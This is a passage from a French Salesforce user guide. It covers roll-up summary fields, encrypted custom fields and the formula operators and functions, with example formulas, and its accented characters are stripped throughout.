Les champs de numrotation automatique ne sont pas disponibles en tant que champs pouvant tre regroups dans un
champ rcapitulatif de cumul.
Aprs avoir cr un champ rcapitulatif de cumul sur un objet, vous ne pouvez pas convertir la relation principal-dtails de
cet objet en relation de recherche.
Les champs rcapitulatifs de cumul ne sont pas adapts au mappage des champs de piste des pistes converties.
Si la gestion avance des devises est active pour votre organisation, les champs rcapitulatifs de cumul de devises ne sont
pas valides s'ils figurent sur des comptes et rcapitulent des valeurs d'opportunits ou sur des opportunits et rcapitulent
des valeurs d'objets personnalises.
Salesforce.com n'autorise pas les utilisateurs sauvegarder un enregistrement lorsque cette opration invalide un
enregistrement associ. Par exemple, si l'enregistrement matre li possde une rgle de validation qui requiert que la valeur

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Guide de l'utilisateur | propos des champs rcapitulatifs de cumul | 472

du champ rcapitulatif de cumul soit suprieure 100 et que le passage par l'utilisateur l'enregistrement enfant place cette
valeur au-dessus de 100, l'utilisateur ne pourra pas sauvegarder cet enregistrement.
Si un champ de recherche fait rfrence un enregistrement qui a t supprim, Salesforce.com configure le champ de
recherche sur nul et n'excute aucun dclencheur Apex, aucune rgle de validation ou de workflow, et aucun champ
rcapitulatif de cumul.

Les meilleures pratiques

Appliquez la scurit au niveau du champ vos champs rcapitulatifs de cumul s'ils calculent des valeurs auxquelles les
utilisateurs ne doivent pas avoir accs. Les champs que vos utilisateurs ne peuvent pas voir en raison des paramtres de
scurit appliqus sur l'enregistrement de dtails sont toujours calculs dans un champ rcapitulatif de cumul.
Si vous disposez de rgles de validation, tenez compte de leur impact sur les champs rcapitulatifs de cumul. Une erreur
de validation peut apparatre lors de la sauvegarde de l'enregistrement de dtails ou principal, car la valeur d'un champ
rcapitulatif de cumul change en cas de modification des valeurs des enregistrements de dtails.
Comme les champs rcapitulatifs de cumul ne sont pas affichs dans les pages de modification, vous pouvez les utiliser
dans les rgles de validation, mais pas en tant qu'emplacement de l'erreur pour votre validation.
vitez les rfrences un champ rcapitulatif de cumul partir d'un enregistrement enfant. Le champ rcapitulatif de
cumul possdera la valeur prcdente car l'enregistrement parent n'a pas t mis jour. Si vous rfrencez un champ
rcapitulatif de cumul partir d'un enregistrement parent, le champ rcapitulatif de cumul possdera toujours la nouvelle
valeur car cette rgle s'excute aprs la mise jour de la valeur parente.
Si vous tentez d'appliquer une limite d'enregistrements de 25 dans le champ rcapitulatif de cumul parent, lorsque vous
ajoutez un enregistrement enfant, votre rgle de validation sur l'objet enfant doit vrifier si le nombre de 25 est dj atteint
ou dpass.
AND(ISNEW(), Opportunity.Line_Count__c >= 25)

Organisez soigneusement la mise en uvre de vos champs rcapitulatifs de cumul avant de les crer. Une fois qu'ils sont
crs, vous ne pouvez pas modifier l'objet de dtails slectionn ni supprimer un champ rfrenc dans votre dfinition de
rcapitulatif de cumul.
Les champs rcapitulatifs de cumul sont affects par la gestion avance des devises. Si votre entreprise active la gestion
avance des devises, supprimez tout champ rcapitulatif de cumul des devises pour les comptes qui rcapitulent les valeurs
d'opportunits ou pour les opportunits qui rcapitulent les valeurs d'objets personnalises. Sinon, les champs continuent
s'afficher avec une icne rcapitulatif de cumul non valide, car Salesforce.com ne calcule plus leurs valeurs.
Les champs automatiquement calculs comme la date du jour ou l'utilisateur actuel ne sont pas autoriss dans les champs
rcapitulatifs de cumul. Cela inclut les champs de formule qui contiennent des fonctions calculant automatiquement les
valeurs, comme NOW et TODAY. Les champs de formule contenant des champs de fusion d'objets associs ne sont pas
autoriss dans les champs rcapitulatifs de cumul.

Voir aussi :
Ajout de champs et de relations
Dfinition des rcapitulatifs de cumul

Personnaliser

Guide de l'utilisateur | propos des champs rcapitulatifs de cumul | 473

Dfinition des rcapitulatifs de cumul

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les dfinitions des champs rcapitulatifs de
cumul :

Afficher la configuration

Pour modifier les dfinitions des champs rcapitulatifs de

cumul :

Personnaliser l'application

Dfinir les champs rcapitulatifs de cumul sur l'objet principal d'une relation principal-dtails. S'il n'existe pas de relation,
commencez par crer unerelation principal-dtails entre l'objet principal qui affiche la valeur et l'objet dtaill contenant les
enregistrements que vous rcapitulez. Pour obtenir la liste des relations principal-dtails standard dans lesquelles des champs
rcapitulatifs de cumul sont disponibles, reportez-vous propos des champs rcapitulatifs de cumul la page 470.
Pour dfinir un champ rcapitulatif de cumul :
1. Crez un champ personnalis dans l'objet dans lequel vous souhaitez qu'il s'afficher. Les champs rcapitulatifs synthtisent
les valeurs partir d'enregistrements d'un objet associ. Par consquent, l'objet dans lequel vous crez le champ doit tre
l'objet principal d'une relation principal-dtails. Pour plus d'informations sur la cration d'un champ personnalis,
reportez-vous Ajout de champs et de relations la page 391.
2. Choisissez le type de champ Rcapitulatif de cumul et cliquez sur Suivant.
3. Saisissez une tiquette de champ et tout autre attribut ncessaire. Cliquez sur Suivant.
4. Slectionnez l'objet de dtails d'une relation principal-dtails. Cet objet contient les enregistrements que vous souhaitez
rcapituler.
5. Slectionnez le type de rcapitulatif :
Type

Description

COUNT

Calcule le nombre total d'enregistrements associs.

SUM

Calcule les valeurs du champ que vous slectionnez dans l'option Champ synthtiser. Seuls les
champs Nombre, Devise et Pourcentage sont disponibles.

MIN

Affiche la valeur la moins leve du champ que vous slectionnez dans l'option Champ synthtiser
pour tous les enregistrements directement associs. Seuls les champs Nombre, Devise, Pourcentage,
Date et Date/heure sont disponibles.

MAX

Affiche la valeur la plus leve du champ que vous slectionnez dans l'option Champ synthtiser
pour tous les enregistrements directement associs. Seuls les champs Nombre, Devise, Pourcentage,
Date et Date/heure sont disponibles.

6. Entrez vos critres de filtrage si vous voulez insrer un groupe prcis d'enregistrements dans vos calculs rcapitulatifs. Si
votre entreprise utilise plusieurs langues, entrez les valeurs de filtre dans la langue par dfaut. Pour plus d'informations sur
l'utilisation des critres de filtrage, reportez-vous Saisie des critres de filtre la page 1736.

Personnaliser

Guide de l'utilisateur | propos des champs personnaliss crypts | 474

7. Cliquez sur Suivant.

8. Dans les ditions Enterprise Edition, Unlimited Edition et Developer Edition, configurez la scurit au niveau du champ
pour dterminer si le champ doit tre visible pour des profils spcifiques, puis cliquez sur Suivant.
9. Choisissez les prsentations de page qui doivent afficher ce champ. Le champ est ajout comme dernier champ de la
premire section deux colonnes de la prsentation de page. En ce qui concerne les champs personnaliss, le champ est
ajout automatiquement au bas de la page de dtails de l'utilisateur.
10. Cliquez sur Enregistrer pour terminer ou sur Enregistrer et Nouveau pour crer d'autres champs personnaliss.

Voir aussi :
propos des champs rcapitulatifs de cumul

propos des champs personnaliss crypts

Les champs personnaliss crypts sont des champs texte contenant des lettres, des chiffres ou des symboles crypts. La valeur
d'un champ crypt est visible uniquement pour les utilisateurs qui ont l'autorisation Afficher les donnes cryptes.
Avant de commencer travailler avec des champs personnaliss crypts, passez en revue les notes sur la mise en uvre et les
bonnes pratiques suivantes :
Notes sur la mise en uvre

Pour activer les champs crypts pour votre entreprise, contactez salesforce.com..
Les champs sont crypts avec des cls de 128 bits et utilisent l'algorithme AES (Advanced Encryption Standard).
Les champs personnaliss crypts ne peuvent pas tre uniques, ni tre des ID externes ou avoir des valeurs par dfaut.
Alors que les autres champs texte peuvent contenir jusqu' 255 caractres, les champs texte crypts sont limits 175 caractres
en raison de l'algorithme de cryptage.
Les champs crypts ne peuvent pas tre utiliss dans des filtres comme les vues de liste, les rapports, les champs rcapitulatifs
de cumul et les filtres de rgle.
Les champs crypts ne peuvent pas tre utiliss pour dfinir des critres de rapport, mais peuvent tre inclus dans des
rsultats de rapport.
Il est impossible d'effectuer une recherche sur les champs crypts, mais ceux-ci peuvent tre inclus dans des rsultats de
recherche.
Les champs crypts ne sont pas disponibles dans les ditions/cas suivants : Salesforce Mobile, Connect pour Outlook,
Connect pour Lotus Notes, Connect Offline, conversion de piste, critres ou formules de rgles de workflow, champs de
formule, messages sortants ,valeurs par dfaut et les formulaires Web vers piste et Web vers requte.
Vous pouvez utiliser les champs crypts dans les modles d'e-mail, mais la valeur est toujours masque, que vous ayez ou
non l'autorisation Afficher les donnes cryptes.
Si vous avez cr des champs personnaliss crypts, assurez-vous que votre entreprise se sert de connexions scurises
utilisant le protocole SSL (Secure Sockets Layer). Pour activer ce paramtre pour votre entreprise, reportez-vous
Configuration de la scurit de session la page 185.
Si vous avez l'autorisation Afficher les donnes cryptes et que vous accordez laccs la connexion un autre utilisateur,
tenez compte du fait qu'il pourra parfaitement voir les champs crypts (en texte clair). Pour viter cette situation, clonez
d'abord votre profil et retirez l'autorisation Afficher les donnes cryptes du profil clon. Attribuez-vous ensuite au profil
clon avant d'accorder l'accs la connexion l'autre utilisateur. Si vous ne disposez pas des autorisations appropries pour
cloner et changer votre profil, contactez l'administrateur pour obtenir de l'aide.
Seuls les utilisateurs dots de l'autorisation Afficher les donnes cryptes peuvent cloner la valeur d'un champ crypt lorsqu'ils
clonent cet enregistrement.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 475

Les meilleures pratiques

Il est possible de modifier les champs crypts, mme si l'utilisateur ne dispose pas de l'autorisation Afficher les donnes
cryptes. Utilisez les rgles de validation, les paramtres de scurit au niveau des champs ou lesparamtres de prsentation
de page pour empcher les utilisateurs de modifier les champs crypts.
Vous pouvez toujours valider les valeurs des champs crypts l'aide des rgles de validation ou des scripts Apex. Ces deux
mthodes fonctionnent, mme si l'utilisateur ne dispose pas de l'autorisation Afficher les donnes cryptes. Les donnes
concernant les champs crypts dans le journal de dbogage sont masques.
Les champs personnaliss existants ne peuvent pas tre convertis en champs crypts, pas plus que les champs crypts ne
peuvent tre convertis en un autre type de donnes. Pour crypter les valeurs d'un champ existant (non crypt), exportez les
donnes, crez un champ personnalis crypt pour les stocker et importez ces donnes dans le nouveau champ crypt.
Le type de masque n'est pas un masque de saisie qui garantit que les donnes correspondent au type de masque.
Utilisez les rgles de validation pour vous assurer que les donnes entres correspondent au type de masque slectionn.
Utilisez les champs personnaliss crypts uniquement lorsque la lgislation en vigueur l'exige parce qu'ils impliquent des
traitements supplmentaires et des limitations lies aux recherches.

Voir aussi :
Ajout de champs et de relations
Attributs de champ personnalis

Oprateurs et fonctions
Lors de l'laboration des formules, utilisez les fonctions et oprateurs suivants : Pour afficher plus de dtails, cliquez sur le
nom ou la description ci-dessous : Sauf indication contraire, toutes les fonctions sont disponibles partout o vous pouvez
ajouter une formule, comme les champs de formule, les rgles de validation, les processus d'approbation et les rgles de workflow.
Remarque: Les espaces inutiles prsents dans les exemples ci-dessous sont ignors par Salesforce.com.

Oprateurs mathmatiques
Oprateur

Description

Calcule la somme de deux valeurs.

Calcule la diffrence entre deux valeurs.

Multiplie les valeurs.

Divise les valeurs.

lve le nombre la puissance d'un nombre dfini.

()

Indique que les expressions situes entre la parenthse d'ouverture et la parenthse de fermeture
sont calcules en premier. Toutes les autres expressions sont calcules par priorit des oprateurs
standard.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 476

Oprateurs logiques
Oprateur

Description

= et ==

value si deux valeurs sont gales.

<> et !=

value si deux valeurs sont diffrentes.

<

Calcule si une valeur est infrieure celle qui suit ce symbole.

>

value si une valeur est suprieure celle qui suit ce symbole.

<=

value si une valeur est infrieure ou gale celle qui suit ce symbole.

>=

value si une valeur est suprieure ou gale la valeur qui suit ce symbole.

&&

value si deux valeurs ou expressions sont toutes deux vraies. Utilisez cet oprateur comme
alternative la fonction logique AND.

||

value si au moins une des valeurs ou expressions multiples est vraie. Utilisez cet oprateur comme
alternative la fonction logique OR.

Oprateurs de texte
Oprateur

Description

&

Relie au moins deux chanes entre elles.

Fonctions de date et d'heure

Fonction

Description

DATE

Renvoie une valeur de date partir des valeurs d'anne, de mois et de jour
que vous avez saisies. Salesforce.com affiche une erreur sur la page de dtails
si la valeur de la fonction DATE dans un champ de formule est invalide,
telle que le 29 fvrier pour une anne non bissextile.

DATEVALUE

Renvoie une valeur de date pour une expression de type texte ou date/heure.

DAY

Renvoie le jour du mois sous la forme d'un nombre compris entre 1 et 31.

MONTH

Renvoie le nombre, compris entre 1 (janvier) et 12 (dcembre), correspondant

au mois d'une date donne.

NOW

Renvoie les date et heure reprsentant le moment prsent.

TODAY

Renvoie la date actuelle au type de donnes date.

YEAR

Renvoie l'anne correspondant une date donne, sous la forme d'un nombre
quatre chiffres.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 477

Fonctions d'information
Fonction

Description

BLANKVALUE

Dtermine si une expression contient une valeur et renvoie une expression

de substitution en l'absence de valeur. Si l'expression contient une valeur,
cette fonction renvoie la valeur de l'expression.

ISBLANK

Dtermine si une expression contient une valeur et renvoie TRUE en

l'absence de valeur. Si l'expression contient une valeur, cette fonction renvoie
FALSE (faux).

ISNULL

Dtermine si une expression est nulle (vide) et renvoie TRUE (vrai) dans ce
cas. Si l'expression contient une valeur, cette fonction renvoie FALSE (faux).

NULLVALUE

Dtermine si une expression est nulle (vide) et renvoie une expression de

substitution si c'est le cas. Si l'expression n'est pas vide, cette fonction renvoie
la valeur de l'expression.

PRIORVALUE

Renvoie la valeur prcdente d'un champ.

Fonctions logiques
Fonction

Description

AND

Renvoie une rponse TRUE (vrai) si toutes les valeurs sont exactes et une
rponse FALSE (faux) si au moins une valeur est fausse.

CASE

Compare une expression donne une srie de valeurs. Si l'expression est

gale cette valeur, la commande renvoie le rsultat correspondant. Si elle
n'est gale aucune valeur, elle renvoie else_result.

IF

Dtermine si les expressions sont vraies ou fausses. Renvoie une valeur donne
si l'expression est vraie (true) et une autre valeur si elle est fausse (false).

ISCHANGED

Compare la valeur d'un champ sa valeur prcdente et renvoie TRUE (vrai)

si les valeurs sont diffrentes. Si les valeurs sont identiques, cette fonction
renvoie FALSE (faux).

ISNEW

Vrifie si la formule est excute pendant la cration d'un enregistrement et

renvoie TRUE (vrai) si c'est le cas. Si un enregistrement existant est en cours
de mise jour, cette fonction renvoie FALSE (faux).

ISNUMBER

Dtermine si la valeur du texte est un nombre et renvoie TRUE (vrai) si c'est

le cas. Sinon, renvoie FALSE (faux).

NOT

Renvoie FALSE (faux) pour TRUE (vrai) et TRUE (vrai) pour FALSE
(faux).

OR

Dtermine si les expressions sont vraies ou fausses. Renvoie TRUE (vrai) si

l'une des expressions est vraie. Renvoie FALSE (faux) si toutes les expressions
sont fausses.

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Guide de l'utilisateur | Oprateurs et fonctions | 478

Fonctions mathmatiques
Fonction

Description

ABS

Calcule la valeur absolue d'un nombre. La valeur absolue d'un nombre est
gale ce nombre sans son signe positif ou ngatif.

CEILING

Arrondit le nombre au nombre entier le plus proche.

EXP

Renvoie une valeur pour e lev la puissance d'un nombre que vous avez
dfini.

FLOOR

Renvoie un nombre arrondi au nombre entier infrieur le plus proche.

LN

Renvoie le logarithme nprien d'un nombre dfini. Les logarithmes npriens

sont bass sur la valeur constante e gale 2,71828182845904.

LOG

Renvoie le logarithme de base 10 d'un nombre.

MAX

Renvoie le nombre le plus lev d'une liste de nombres.

MIN

Renvoie le nombre le plus faible d'une liste de nombres.

MOD

Renvoie le reste de la division d'un nombre par un diviseur dfini.

ROUND

Renvoie le nombre le plus proche de celui que vous avez spcifi, limitant le
nouveau nombre un nombre de chiffres dfini.

SQRT

Renvoie la racine carre positive d'un nombre donn.

Fonctions de texte
Fonction

Description

BEGINS

Dtermine si le texte commence avec des caractres spcifiques et renvoie

TRUE (vrai) si c'est le cas. Renvoie FALSE (faux) dans le cas contraire.

BR

Insre un saut de ligne dans une chane de texte.

CONTAINS

Compare deux arguments de texte et renvoie TRUE (vrai) si le premier

argument contient le second argument. Sinon, renvoie FALSE (faux).

FIND

Renvoie la position d'une chane au sein d'une chane de texte reprsente

sous la forme d'un nombre.

GETSESSIONID

Renvoie l'ID de session de l'utilisateur.

HYPERLINK

Cre un lien l'URL spcifie, que l'on peut atteindre partir du texte dfini.

IMAGE

Insre une image contenant un autre texte, dont la hauteur et la largeur sont
diffrentes.

INCLUT

Dtermine si une valeur choisie dans un champ de liste de slection multiple

est gale un texte littral que vous spcifiez.

ISPICKVAL

Dtermine si la valeur d'un champ de liste de slection est gale un texte

littral que vous spcifiez.

LEFT

Renvoie le nombre dfini de caractres depuis le dbut de la chane de texte.

LEN

Renvoie le nombre de caractres prsents dans la chane de texte.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 479

Fonction

Description

LOWER

Convertit toutes les lettres de la chane de texte en minuscules. Tous les

caractres qui ne sont pas des lettres ne sont pas affects par cette fonction.
Si les paramtres rgionaux sont fournis, leurs rgles s'appliquent.

LPAD

Insert des espaces ou des caractres que vous avez spcifis gauche dune
chane de texte.

MID

Renvoie le nombre dfini de caractres depuis le milieu de la chane de texte,

nombre qui sera utilis ensuite comme point de dpart.

RIGHT

Renvoie le nombre dfini de caractres depuis la fin de la chane de texte.

RPAD

Insert des espaces vides ou des caractres que vous avez spcifis droite
dune chane de texte.

SUBSTITUTE

Substitue un nouveau texte un ancien dans une chane de texte.

TEXT

Convertit en texte un champ pourcentage, nombre, date, date/heure ou devise

lorsque des formules sont utilises. Convertit aussi en texte les valeurs de
listes de slection dans les rgles de validation, les champs de formule et les
mises jour de champ.

TRIM

Supprime les espaces et les tabulations au dbut et la fin de la chane de

texte.

UPPER

Convertit toutes les lettres de la chane de texte spcifi en majuscules. Tous

les caractres qui ne sont pas des lettres ne sont pas affects par cette fonction.
Si les paramtres rgionaux sont fournis, leurs rgles s'appliquent.

VALUE

Convertit une chane de texte en nombre.

Fonctions rcapitulatives
Les fonctions suivantes peuvent tre utilises uniquement dans un contexte de cration de formules rcapitulatives personnalises
pour des rcapitulatifs.
Fonction

Description

PARENTGROUPVAL

Fonction rcapitulative qui renvoie la valeur du champ rcapitulatif slectionn

depuis le niveau de regroupement parent que vous spcifiez. Les niveaux de
regroupement parent se situent au-dessus du niveau auquel vous choisissez
d'afficher la formule. Pour les rapports matriciels, choisissez les niveaux de
regroupement de lignes et de colonnes.

PREVGROUPVAL

Fonction rcapitulative qui renvoie la valeur du champ rcapitulatif slectionn

depuis la ligne rcapitulative prcdente au niveau de regroupement que vous
spcifiez. Pour les rapports matriciels, la valeur summary_field que vous
choisissez contrle si une ligne ou une colonne prcdente est renvoye.
L'incrment dtermine le nombre d'tapes prcdentes au champ rcapitulatif
actuel renvoyer. L'incrment par dfaut est 1. L'incrment maximal est 12.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 480

Fonctions avances
Fonction

Description

GETRECORDIDS

Renvoie un tableau des ID d'enregistrements slectionns dans une liste,

telle qu'une vue de liste ou une liste associe.

INCLUDE

Renvoie le contenu d'un snippet de commande s-control. Utilisez cette

fonction pour rutiliser un code commun dans plusieurs commandes s-control.

LINKTO

Renvoie une URL relative sous la forme d'un lien (balises d'ancrage et href )
pour une commande custom s-control ou une page Salesforce.com.

REGEX

Compare un champ de texte une expression rgulire et renvoie TRUE

(vrai) s'il y a une correspondance. Sinon, renvoie FALSE (faux). Une
expression rgulire est une chane utilise pour dcrire un format de chane
en fonction de certaines rgles de syntaxe.

REQUIRESCRIPT

Renvoie une balise de script avec la source de l'URL spcifie. Utilisez cette
fonction pour rfrencer l'ensemble d'outils AJAX Apexou d'autres botes
outils JavaScript.

URLFOR

Renvoie une URL relative pour une action, une commande s-control ou un
fichier dans une archive de ressources statiques sur une page Visualforce

VLOOKUP

Renvoie une valeur en consultant une valeur associe sur un objet personnalis
similaire la fonction Excel VLOOKUP().

Codage de fonctions
Fonction

Description

HTMLENCODE

Code le texte et les valeurs de champ de fusion utiliser dans le code HTML,
en remplaant des caractres rservs au HTML, comme le signe suprieur
(>), avec les quivalents d'entit HTML, tels que &gt;.

JSENCODE

Code le texte et les valeurs de champ de fusion utiliser dans Javascript en

insrant les caractres d'chappement, comme une barre oblique inverse (\),
avant les caractres Javascript non fiables, tels que l'apostrophe (').

JSINHTMLENCODE

Code le texte et les valeurs de champ de fusion utiliser avec Javascript dans
des balises HTML en insrant les caractres d'chappement avant les
caractres Javascript non fiables et en remplaant les caractres rservs au
HTML avec des quivalents d'entit HTML.

URLENCODE

Code le texte et les valeurs de champ de fusion utiliser dans des URL en
remplaant les caractres illgaux dans les URL, comme les espaces blancs,
avec le code qui reprsente ces caractres tel que dfini dans RFC 3986,
Uniform Resource Identifier (URI) : Syntaxe gnrique.. Par exemple, les espaces
blancs sont remplacs par %20 et les points d'exclamation sont remplacs par
%21.

+ (addition)
Description :

Calcule la somme de deux valeurs.

Personnaliser

Utilisation :

Guide de l'utilisateur | Oprateurs et fonctions | 481

value1 + value2 et remplacez chaque value par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple de champ de formule :

Amount + Maint_Amount__c + Services_Amount__c

Cette formule calcule la somme du montant de l'opportunit,

du montant de la maintenance et des frais de service. Les
champs Compte jour et Frais de service sont des
champs devise personnaliss des opportunits.
Exemple de rapport :

La formule EMAIL_OPT_OUT:SUM + DO_NOT_CALL:SUM

calcule la somme de tous les champs Dsinscription
d'adresse e-mail et Ne pas appeler sur les pistes du
rapport. Cette formule est un type de donnes nombre qui
renvoie un nombre entier positif.

Exemple de rgle de validation :

L'un de vos objets personnaliss peut permettre aux utilisateurs

d'assurer le suivi du nombre total d'heures travailles dans la
semaine. Utilisez l'exemple suivant pour vous assurer que les
utilisateurs ne peuvent pas enregistrer de fiches de prsence
d'une dure suprieure 40 heures hebdomadaires.
Monday_Hours__c + Tuesday_Hours__c +
Wednesday_Hours__c + Thursday_Hours__c
Friday_Hours__c > 40

Utilisez une formule de ce type dans une rgle de validation

pour afficher le message d'erreur suivant lorsque le nombre
total d'heures saisi pour la semaine ouvre est suprieur 40 :
Le nombre total d'heures ne peut pas dpasser 40 . Cet
exemple ncessite cinq champs personnaliss sur votre objet
personnalis, un pour chaque jour de travail.

- (soustraction)
Description :

Calcule la diffrence entre deux valeurs.

Utilisation :

value1 - value2 et remplacez chaque value par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

Amount - Discount_Amount__c

Cette formule calcule la diffrence du montant de

l'opportunit moins le montant aprs escompte. Le
champ Montant aprs escompte est un champ devise
personnalis des opportunits.
Exemple de rapport :

La fonction AMOUNT:SUM Opportunity.Discount_Amount__c:SUM calcule la

diffrence entre tous les champs Montant et tous les champs
personnaliss Montant aprs escompte des opportunits

dans le rapport. Cette formule est un type de donnes devise

et renvoie un symbole montaire et des dcimales.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 482

* (multiplication)
Description :

Multiplie les valeurs.

Utilisation :

value1 * value2 et remplacez chaque value par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

Consulting_Days__c * 1200

Cette formule calcule le produit du nombre de jours de

consultation par 1 200, tant donn que ce champ de formule
est un type de donnes devise et que la consultation cote
1 200 dollars par jour. Le champ Jours de consultation
est un champ personnalis des opportunits.
Exemple de rapport :

La formule RowCount * AGE:AVG calcule le produit du

nombre d'enregistrements par l'ge moyen de toutes les
opportunits du rapport. Cette formule est un type de donnes
numrique et renvoie un nombre entier ou dcimal, positif ou
ngatif.

/ (division)
Description :

Divise les valeurs.

Utilisation :

value1 / value2 et remplacez chaque value par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

AnnualRevenue/NumberOfEmployees

Cette formule calcule le chiffre d'affaires per capita grce un

champ devise sur les comptes.
IF( NumberOfOpportunities > 0,
NumberOfWonOpportunities /
NumberOfOpportunities, null)

Cette formule calcule le taux de gain d'opportunits sur une

campagne.
Exemple de rapport :

% opportunits gagnes
La formule WON:SUM / RowCount calcule le pourcentage
d'opportunits Gagn partir du nombre d'enregistrements,
qui reprsente le nombre total d'opportunits du rapport. Cette
formule est un type de donnes nombre et renvoie un nombre
entier positif ou ngatif.
% diffrence entre le cot et le prix de vente
La formule (TOTAL_PRICE:SUM - QUANTITY:SUM *
Product2.Cost__c:SUM) / (QUANTITY:SUM *
Product2.Cost__c:SUM) calcule la diffrence de

pourcentage moyenne entre le cot d'un produit et son prix

de vente, produit par produit sur plusieurs opportunits. Le
champ devise personnalis Product2.Cost__c:SUM, intitul

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 483

Cot pour les produits, affiche le cot de chaque produit.

Cette formule est un type de donnes pourcentage et renvoie

un nombre entier positif ou ngatif. Pour de meilleurs rsultats,
utilisez-la dans un rapport rcapitulatif des opportunits
associes aux produits, synthtis par le nom du produit,
et qui contient les totaux rcapitulatifs des quantit, prix
total et cot.

^ (lvation une puissance)

Description :

lve le nombre la puissance d'un nombre dfini.

Utilisation :

number^integer et remplacez number par un champ de

fusion, une expression ou une autre valeur numrique.

Remplacez integer par un champ de fusion contenant un
entier, une expression ou n'importe quel entier.
Exemple :

La formule NumberOfEmployees^4 lve le nombre

d'employs la puissance 4.

Exemple de rapport :

La formule ACTIVE:SUM ^ 2 lve le nombre d'utilisateurs

actifs de Salesforce.com la puissance 2, pour l'administration.
Cette formule est un type de donnes nombre qui renvoie un
nombre entier positif.

Conseils :

vitez de remplacer integer par une valeur ngative.

() (parenthse d'ouverture et parenthse de fermeture)

Description :

Indique que les expressions situes entre la parenthse

d'ouverture et la parenthse de fermeture sont calcules en
premier. Toutes les autres expressions sont calcules par
priorit des oprateurs standard.

Utilisation :

(expression1) expression2... et remplacez chaque

expression par des champs de fusion, expressions ou autres

valeurs numriques.
Exemple :

La formule ( Unit_Price__c - Standard_Price__c)

/ Sales_Price__c calcule la diffrence entre le prix
catalogue et le prix standard, et divise le rsultat par le prix de
vente. Comme il s'agit d'un type de donnes pourcentage dans
les produits de l'opportunit, cette commande calcule le
pourcentage aprs escompte.

Exemple de rapport :

La formule (DURATIONHOURS:SUM * RowCount) / 24

calcule le produit de la dure de toutes les activits par le
nombre d'enregistrements sur 24 heures. Cette formule est un
type de donnes pourcentage, qui renvoie un nombre entier
ou dcimal, positif ou ngatif, reprsentant le pourcentage de
la journe utilis pour les activits.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 484

= et == (gal)
Description :

value si deux valeurs sont gales.

Utilisation :

expression1=expression2 ou expression1 ==
expression2 et remplacez chaque expression par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

chance
La formule Due Date = CreatedDate + 5 attribue une
date d'chance qui est ultrieure de cinq jours la date de
cration.
Montant de la commission
IF(Probability =1, ROUND(Amount*0.02, 2) ,
0)

Cette formule calcule les 2 % de commission d'une opportunit

d'une probabilit de 100 %. Pour toutes les autres opportunits,
la valeur de la commission est 0.
Rsultats possibles :
Une opportunit avec une probabilit de 90 % donne
une commission de 0.
Une opportunit avec une probabilit de 100 % et un
montant montant de 100 000 dollars donne une
commission de 2 000 dollars.

<> and != (diffrent de)

Description :

value si deux valeurs sont diffrentes.

Utilisation :

expression1 <> expression2 ou expression1 !=

expression2 et remplacez chaque expression par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

IF(Maint_Amount__c + Services_Amount__c<>
Amount, "REMISE", "PLEIN TARIF")

Cette formule affiche REMISE pour une opportunit si

la somme du montant de maintenance et des frais d'entretien
diffre du montant de l'opportunit. Sinon, elle affiche PLEIN
TARIF. Cet exemple utilise deux champs devise personnaliss
pour les valeurs Compte jour et Montant des
services.

< (infrieur )
Description :

Calcule si une valeur est infrieure celle qui suit ce symbole.

Personnaliser

Utilisation :

Guide de l'utilisateur | Oprateurs et fonctions | 485

value1 < value2 et remplacez chaque value par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

La formule IF(AnnualRevenue < 1000000, 1, 2)

attribue la valeur 1 aux comptes dont le chiffre d'affaires est
infrieur un million et la valeur 2 ceux dont le chiffre
d'affaires est suprieur un million.

> (suprieur )
Description :

value si une valeur est suprieure celle qui suit ce symbole.

Utilisation :

value1 > value2 et remplacez chaque valeur par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

La formule IF(commission__c > 1000000,

"Fortune", "Gnral") attribue la valeur Fortune aux
opportunits dont la commission dpasse un million. Il s'agit
ici d'un champ de formule texte des opportunits, qui utilise
un champ personnalis de commission.

<= (infrieur ou gal )

Description :

value si une valeur est infrieure ou gale celle qui suit ce

symbole.

Utilisation :

value1 <= value2 et remplacez chaque value par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

La fonction IF(AnnualRevenue <= 1000000, 1, 2)

attribue la valeur 1 aux comptes dont le chiffre d'affaires est
infrieur ou gal un million, et la valeur 2 ceux dont le
chiffre d'affaires est suprieur un million.

>= (suprieur ou gal )

Description :

value si une valeur est suprieure ou gale la valeur qui suit

ce symbole.

Utilisation :

value1 >= value2 et remplacez chaque value par des

champs de fusion, expressions ou autres valeurs numriques.

Exemple :

La formule IF(Commission__c >= 1000000, "OUI",

"NON") attribue la valeur OUI aux opportunits dont la
commission est suprieure ou gale un million. Il s'agit ici
d'un champ de formule texte des opportunits, qui utilise un
champ devise personnalis intitul Commission.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 486

&& (AND)
Description :

value si deux valeurs ou expressions sont toutes deux vraies.

Utilisez cet oprateur comme alternative la fonction logique
AND.

Utilisation :

(logical1) && (logical2) et remplacez logical1 et

logical2 par des valeurs ou des expressions valuer.

Exemple :

IF((Price<100 && Quantity<5),"Petit", null)

Cette formule affiche Petit si le prix est infrieur 100 et

que la quantit est infrieure cinq. Sinon, ce champ reste
vierge.

|| (OR)
Description :

value si au moins une des valeurs ou expressions multiples

est vraie. Utilisez cet oprateur comme alternative la fonction
logique OR.

Utilisation :

(logical1) || (logical2) et remplacez tout nombre

de rfrences logiques par les valeurs ou les expressions

valuer.
Exemple :

IF((ISPICKVAL(Priority , "leve")) ||
(ISPICKVAL(Status , " Nouveau")),
ROUND(NOW()-CreatedDate, 0), null)

Cette formule renvoie le nombre de jours pendant lequel la

